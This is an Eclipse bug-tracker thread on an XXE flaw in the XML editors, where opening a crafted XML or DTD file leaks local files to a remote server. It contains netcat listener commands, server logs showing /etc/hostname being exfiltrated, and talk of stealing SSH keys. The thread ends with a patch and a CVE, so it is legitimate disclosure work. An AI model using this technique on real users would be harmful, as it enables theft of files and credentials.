Community
Participate
Working Groups
Created attachment 250275 [details] PoC On the last stable version of Eclipse IDE for Java, Android developer IDE. In attached file I include PoC project/file. When we open project/file for edit, XXE vulnerability executed. C:\Users\Vahagn>nc -l -vv -p4444 listening on [any] 4444 ... connect to [127.0.0.1] from LENOVO-PC [127.0.0.1] 40680 GET / HTTP/1.1 User-Agent: Java/1.8.0_25 Host: 127.0.0.1:4444 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive For fixed need check XML parser when checked in edit time. *nc -netcat *XXE-http://en.wikipedia.org/wiki/XML_external_entity
tested platform Eclipse Java EE IDE for Web Developers. Version: Luna Service Release 1a (4.4.1) Build id: 20150109-0600
(In reply to Vahagn Vardanyan from comment #0) > When we open project/file for edit, XXE vulnerability executed. In which editor are you opening the file? Is it even a vulnerability when the parser is executing on *your* own machine and not a remote system?
Created attachment 250395 [details] PoC PoC
root@vps-1062110:~# nc -l -vv -p4444 listening on [any] 4444 ... Warning: forward host lookup failed for dynamicip-188-187-*-*.pppoe.volgograd.ertelecom.ru: Unknown host connect to [109.120.*.*] from dynamicip-188-187-*-*.pppoe.volgograd.ertelecom.ru [188.187.*.*] 55070 GET / HTTP/1.1 User-Agent: Java/1.8.0_25 Host: 109.120.*.*:4444 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive
This is not a vulnerability.
Created attachment 283284 [details] improved POC
Hi Nitin, I was pointed to this ticket by Wayne Beaton when I tried to report this vulnerability to security@. I believe this is a valid vulnerability. I attached an improved POC that if opened in Eclipse, exfiltrates the contents of an arbitrary file to a remote server. My POC sends /etc/hostname, but it could easily be modified to send /etc/passwd or even local SSH keys. While it is true that this is not a classic sever side vulnerability, I do still think it has a significant impact. In order for an attacker to exploit it, they would simply have to convince their victim to open a file in Eclipse. As a software engineer, I constantly find myself opening up and poking through random codebases on the internet. This could even be very effective as a watering hole attack where the attacker could just post the code on GitHub and attack anyone who downloads it. This same vulnerability was found in VS Code and Eclipse Theia and they both agreed that it was a valid vulnerability and issued a CVE for it (https://www.shielder.it/blog/dont-open-that-xml-xxe-to-rce-in-xml-plugins-for-vs-code-eclipse-theia/). Why do you think it is not a vulnerability?
(In reply to David Dworken from comment #7) > While it is true that this is not a classic sever side vulnerability... > Why do you think it is not a vulnerability? That was why, and I eventually addressed it just to be sure against the runnable POC in bug 508083. Are you able to reproduce this within the XML tools in the current release?
Yes, I can reproduce this on the latest version of Eclipse on Ubuntu 20.04. See the attached video which shows /etc/hostname getting sent to my external server.
Created attachment 283292 [details] demo exploit
Is that with the default preferences?
Yup, a completely fresh install from `sudo snap install --classic eclipse`. I did not touch any of the settings at all. Can you reproduce this?
I don't know what version that installs. Does its XML Validation preference page include a toggle for external entities that is disabled by default?
It is 2019-12 (as shown in the video I attached) and the setting is disabled.
Created attachment 283312 [details] external entities should be disabled
While I am able to mostly consistently have it retrieve the DTD, and possibly only because of the use of a DTD subset, I remain unable to have the entity resolve and leak local files to a remote. Do I need more than the XML and DTD file?
I'm only able to reliably trigger the export from the DTD file itself.
finally, someone besides me found this vulnerability, after y years 🤓
(In reply to Vahagn Vardanyan from comment #18) > finally, someone besides me found this vulnerability, after 5 years 🤓
If you test it with my POC do you see the data being sent over the wire (watching via Wireshark or any other tool)? If you want to test it with my server, I set up some logs to be accessible on my website. The endpoint `https://daviddworken.com/eclipse-log.txt` will contain logs from testing my updated `evil.xml`. After opening it in Eclipse, I see two new lines added to the logs: ``` Jun 17 13:52:07 Website caddy[2066]: 2020/06/17 13:52:07 206.189.167.245 - - [17/Jun/2020:13:52:07 +0000] "GET /eclipse-exfiltrate.dtd HTTP/1.1" 200 172 Jun 17 13:52:07 Website caddy[2066]: 2020/06/17 13:52:07 206.189.167.245 - - [17/Jun/2020:13:52:07 +0000] "GET /eclipse-data?x=dworken-x1 HTTP/1.1" 404 14 ``` Which shows that it is exfiltrating /etc/hostname.
Created attachment 283323 [details] updated POC
New Gerrit change created: https://git.eclipse.org/r/165058
Gerrit change https://git.eclipse.org/r/165058 was merged to [master]. Commit: http://git.eclipse.org/c/sourceediting/webtools.sourceediting.git/commit/?id=9644d4217cd6e3be367d654a8320104d88ddfd6b
Install 2020-06, add https://ci.eclipse.org/webtools/view/webtools_CI/job/webtools-sourceediting_master/1132/artifact/site/target/repository/ as an available update site, and let me know if it's still reproducible by you.
I should probably have mentioned checking for updates once that site is added to the list of Available update sites.
I installed 2020-06 but after adding URL as a software site and checking for updates, it doesn't find any updates. Is there something else I need to do in order to get it to install the update? The furthest it thinks it can update is: ``` Version: 2020-06 (4.16.0) Build id: 20200615-1200 ```
I'm puzzled about that myself. You should still be able to use the site o attempt to install the newer build of the Eclipse XML Editors and Tools, which it should then say will be treated as an update.
Ah, got it! Instead of adding it as a software site for updates I instead tried to install plugins from it and selected all plugins available and that got it to download the update. Yes, after that patch it is fixed. :+1: Can you request the CVE for this or should I ask Wayne to request it? And how does the below description look? Eclipse IDE was vulnerable to an XXE attack if a user opened an untrusted XML file. This could be exploited in order to exfiltrate local files to a remote server.
(In reply to David Dworken from comment #28) > Can you request the CVE for this or should I ask Wayne to request it? And > how does the below description look? I think CVEs are handled at the organization level, but Wayne would know for certain (at least, he's who I'd ask).
Merged into development and in our CI builds. It'll be in our M1 builds of 3.19/2020-09.
> I think CVEs are handled at the organization level, but Wayne would know for > certain (at least, he's who I'd ask). I need some information from you. Then I can assign a CVE and promote to the central authority. https://www.eclipse.org/projects/handbook/#vulnerability-cve
Hi Wayne, thanks for the reply. Nitin, if helpful here is my understanding of the information: project: Eclipse IDE version: [20150109, 20200615] cwe: CWE-611: Improper Restriction of XML External Entity Reference summary: In Eclipse IDE prior to 2020-09, viewed XML files were validated by a parser that retrieved external XML entities. If a user opened an untrusted XML file, this could be exploited in order to exfiltrate local files to a remote server.
David, that's a little too broad as our XML tools are not a part of every IDE download and installation. project: Eclipse Web Tools Platform, XML Editors and Tools versions: 1.0 - 3.18 cwe: CWE-611: Improper Restriction of XML External Entity Reference (XXE) summary: Up through release 3.18 (2020-06), XML and DTD files referring to external entities could be exploited to send the contents of local files to a remote server when edited or validated, even when external entity resolution is disabled in the user preferences.
That description looks good to me. Nitin, can you email that information to security@eclipse.org so they can issue the CVE?
My apologies. I should have interpreted Nitin's reply as "make this happen". We'll need to remove the committers-only flag. Any concerns? I'll use CVE-2019-17637 for this.
The biggest concern is that we don't have a fixed release out to direct people to.
(In reply to Nitin Dahyabhai from comment #36) > The biggest concern is that we don't have a fixed release out to direct > people to. The CVE is going to draw some attention :-) The "references" link (i.e. this record) needs to be publicly accessible before I push the report to the central authority. While I think that we can argue that the issue has been recognized as a vulnerability for less than the three months maximum required by the vulnerability reporting policy [1], the issue was reported some number of years ago and my feeling is that we need to disclose it sooner rather than later. [1] https://www.eclipse.org/security/policy.php#security-timing
(In reply to Wayne Beaton from comment #37) The original POC didn't show local content being uploaded the way that David's does, only that the remote site was contacted, which didn't look out of place. That case was likely covered with the Oxygen release. I'll defer to you on the publishing, Wayne.
> I'll defer to you on the publishing, Wayne. I've made a pull request to the central authority. https://github.com/CVEProject/cvelist/pull/4311
